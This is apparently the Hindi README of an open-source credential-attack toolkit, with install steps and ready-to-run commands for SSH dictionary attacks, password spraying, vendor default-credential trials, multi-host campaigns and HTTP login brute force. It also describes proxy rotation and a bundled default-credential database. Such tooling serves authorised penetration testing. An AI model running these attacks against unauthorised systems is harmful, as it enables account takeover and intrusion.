CredAttack — क्रेडेंशियल अटैक टूलकिट
⚠️ कानूनी नोटिस — केवल अधिकृत सुरक्षा परीक्षण।
इस टूल का उपयोग उन सिस्टमों के विरुद्ध करना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (अमेरिका), कंप्यूटर मिसयूज़ एक्ट (यूके) और दुनिया भर के समकक्ष कानूनों के तहत अवैध है। देखें SECURITY.md।
विषय-सूची
CredAttack क्या है?
CredAttack एक मॉड्यूलर, उत्पादन-ग्रेड क्रेडेंशियल परीक्षण सुइट है जो अधिकृत पैठ परीक्षण अभियानों के लिए है। यह पूर्ण क्रेडेंशियल-अटैक जीवनचक्र को कवर करता है:
| चरण | CredAttack क्षमता |
|---|
| टोह | डिफ़ॉल्ट क्रेड्स DB (200+ जोड़े), स्मार्ट उपयोगकर्ता-व्युत्पन्न पैटर्न जनरेशन |
अटैक मोड
समर्थित प्रोटोकॉल
आर्किटेक्चर
credattack.py ← पतला शिम: `python credattack.py ...` एक चेकआउट से
│
├── credattack/cli.py ← CLI (Typer) — 8 अटैक-मोड उपकमांड; साथ ही
│ `credattack` कंसोल स्क्रिप्ट जब pip-स्थापित हो
├── credattack/core/
│ ├── config.py ← Pydantic v2 Settings, CREDATTACK_* env-var ओवरराइड
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + Rich प्रगति UI)
│ ├── lockout.py ← LockoutDetector (स्लाइडिंग-विंडो, थ्रेड-सुरक्षित)
│ ├── proxy.py ← ProxyRotator (राउंड-रॉबिन, स्वास्थ्य-जाँच, पदावनति)
│ ├── mutator.py ← PasswordMutator (leet, मौसमी, प्रत्यय, कीबोर्ड-वॉक…)
│ ├── result.py ← AttemptResult + SessionReport डेटाक्लास
│ ├── report.py ← Jinja2 HTML रिपोर्ट जनरेटर
│ └── logger.py ← Rich लॉगिंग + JSONL ऑडिट लेखक
│
├── credattack/protocols/
│ └── *.py ← 18 ProtocolAttacker कार्यान्वयन
│
├── credattack/data/
│ ├── default_creds.json ← 200+ वास्तविक डिफ़ॉल्ट क्रेडेंशियल जोड़े
│ ├── smart_patterns.json ← 140+ उद्यम पासवर्ड टेम्पलेट
│ └── wordlists/ ← प्रति-सेवा डिफ़ॉल्ट पासवर्ड सूचियाँ
│
└── tests/ ← 50+ pytest परीक्षण (यूनिट + प्रोटोकॉल मॉक)
त्वरित प्रारंभ
# क्लोन करें और सेट अप करें
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# संस्करण जाँचें
python credattack.py --version
# ड्राई-रन (कोई कनेक्शन नहीं — अपनी वर्ड सूचियाँ सत्यापित करें)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# वास्तविक SSH डिक्शनरी अटैक
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# पासवर्ड स्प्रे (दर-सीमित, लॉकआउट-सुरक्षित)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# स्मार्ट मोड — उपयोगकर्ता + कंपनी से पैटर्न उत्पन्न करें
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# सेवा डिफ़ॉल्ट आज़माएँ
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# बहु-लक्ष्य अभियान
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
स्थापना
विकल्प A — pip + virtualenv (अनुशंसित)
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
विकल्प B — Makefile शॉर्टकट
make install # मुख्य निर्भरताएँ
make install-dev # + pytest-cov, ruff, mypy
विकल्प C — pip स्थापना (editable या wheel से)
pip install -e . # केवल मुख्य निर्भरताएँ
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # कंसोल स्क्रिप्ट, `python credattack.py` के समतुल्य
विकल्प D — Docker
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# अपनी वर्डलिस्ट माउंट करें और आउटपुट एकत्र करें
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
CLI संदर्भ
वैश्विक विकल्प
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version संस्करण दिखाएँ और बाहर निकलें।
--help सहायता दिखाएँ।
सामान्य फ़्लैग (सभी प्रोटोकॉल कमांड पर उपलब्ध)
उपकमांड
# प्रोटोकॉल-विशिष्ट (प्रत्येक एक समर्पित अटैकर से मैप होता है)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (फ़ॉर्म / बेसिक / डाइजेस्ट)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# स्प्रे — एकल पासवर्ड, कई उपयोगकर्ता, लंबा विलंब
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# कॉम्बो — कार्टेशियन उत्पाद उपयोगकर्ता × पासवर्ड
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# स्मार्ट — OSINT-व्युत्पन्न जनरेशन
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# डिफ़ॉल्ट्स — विक्रेता डिफ़ॉल्ट क्रेडेंशियल आज़माएँ
python credattack.py defaults -t HOST --protocol mysql
# मल्टी — कई होस्टों पर समान अटैक
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# फुल — क्रम में सभी प्रोटोकॉल
python credattack.py full -t HOST -U users.txt -P passes.txt
पासवर्ड म्यूटेशन इंजन
PasswordMutator in credattack/core/mutator.py रचनात्मक रणनीतियों का समर्थन करता है:
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# सभी रणनीतियाँ संयुक्त
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# केवल मौसमी पैटर्न
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
डिफ़ॉल्ट क्रेडेंशियल डेटाबेस
credattack/data/default_creds.json में 200+ वास्तविक डिफ़ॉल्ट क्रेडेंशियल जोड़े शामिल हैं:
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
# किसी सेवा के लिए सभी डिफ़ॉल्ट देखें
python credattack.py defaults -t HOST --protocol mysql --dry-run
# लक्ष्य के विरुद्ध चलाएँ
python credattack.py defaults -t 10.0.0.1 --protocol ssh
प्रॉक्सी रोटेशन
प्रॉक्सी फ़ाइल पास करें (प्रति पंक्ति एक प्रॉक्सी, host:port प्रारूप):
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
ProxyRotator स्टार्टअप पर स्वास्थ्य-जाँच करता है और उन प्रॉक्सी को पदावनत करता है जो विफलता-दर सीमा से अधिक होती हैं। मृत प्रॉक्सी स्वचालित रूप से बाहर कर दी जाती हैं।
HTML रिपोर्ट
प्रत्येक गैर-ड्राई-रन अटैक के बाद ./output/ में एक HTML रिपोर्ट स्वचालित रूप से उत्पन्न होती है:
- स्टेट कार्ड: कुल प्रयास, सफलता दर, अवधि, प्रयास/सेकंड
- मिले क्रेडेंशियल तालिका: होस्ट · प्रोटोकॉल · उपयोगकर्ता नाम · पासवर्ड (कॉपी-टू-क्लिपबोर्ड)
- डार्क-थीम Jinja2 टेम्पलेट
# रन के बाद खोलें
start output/report_*.html # Windows
open output/report_*.html # macOS
कॉन्फ़िगरेशन और पर्यावरण चर
credattack/core/config.py में सभी सेटिंग्स को CREDATTACK_* पर्यावरण चर के माध्यम से ओवरराइड किया जा सकता है:
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
या CLI स्तर पर मानक फ़्लैग (--threads, --timeout, आदि) के साथ।
Docker
# इमेज बनाएँ
docker build -t credattack -f docker/Dockerfile .
# Docker Compose के साथ चलाएँ
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# पर्यावरण के माध्यम से कॉन्फ़िगरेशन सेट करें
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
परीक्षण
# सभी परीक्षण चलाएँ
pytest -q
# कवरेज के साथ
pytest --cov=credattack --cov-report=term-missing -q
# Makefile शॉर्टकट
make test-cov
वर्तमान सुइट: 50+ परीक्षण कवर करते हैं:
वर्डलिस्ट
⚠️ बंडल की गई wordlists/ फ़ाइलें न्यूनतम स्मोक-टेस्ट स्टब हैं। वास्तविक मूल्यांकन के लिए अपनी स्वयं की आपूर्ति करें।
अनुशंसित स्रोत
# किसी भी बाहरी वर्डलिस्ट का उपयोग करें
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
प्रोजेक्ट संरचना
credential-attacks-toolkit/
├── credattack.py # पतला शिम -> credattack.cli:app (स्रोत-चेकआउट उपयोग)
├── pyproject.toml # PEP 517/518 बिल्ड और टूल कॉन्फ़िग
├── requirements.txt # रनटाइम निर्भरताएँ
├── Makefile # डेवलपर शॉर्टकट
├── VERSION # संस्करण सत्य का एकल स्रोत
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: lint + test matrix + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — पैकेज्ड, कंसोल स्क्रिप्ट का समर्थन करता है
│ ├── core/
│ │ ├── config.py # Pydantic v2 Settings
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (स्लाइडिंग विंडो)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # HTML रिपोर्ट जनरेटर
│ │ └── logger.py # Rich लॉगर + JSONL लेखक
│ ├── protocols/ # 18 ProtocolAttacker कार्यान्वयन
│ │ └── base.py # सार ProtocolAttacker
│ └── data/
│ ├── default_creds.json # 200+ विक्रेता डिफ़ॉल्ट
│ ├── smart_patterns.json # 140+ उद्यम टेम्पलेट
│ └── wordlists/ # प्रति-सेवा प्रारंभिक सूचियाँ
├── attacks/ # स्टैंडअलोन एकल-फ़ाइल उपकरण (credattack/ से पहले के;
│ └── *.py # अभी तक पोर्ट न किए गए स्क्रिप्ट के लिए रखे गए: JWT क्रैकिंग,
│ # WAF पहचान, समय-आधारित उपयोगकर्ता गणना)
├── utils/
│ └── credential_utils.py # attacks/ स्क्रिप्ट के लिए साझा सहायक
├── tests/
│ ├── conftest.py # साझा फिक्स्चर
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # न्यूनतम स्मोक-टेस्ट स्टब
└── output/ # उत्पन्न लॉग और रिपोर्ट (git-अनदेखा)
अटैक सफलता दर (संकेतात्मक)
योगदान
देखें CONTRIBUTING.md।
बड़े PR सबमिट करने से पहले कृपया एक issue खोलें।
सभी योगदानों को SECURITY.md में नैतिक उपयोग नीति का पालन करना चाहिए।
जिम्मेदारी से उपयोग करें। नैतिक रूप से परीक्षण करें। कानूनी बने रहें।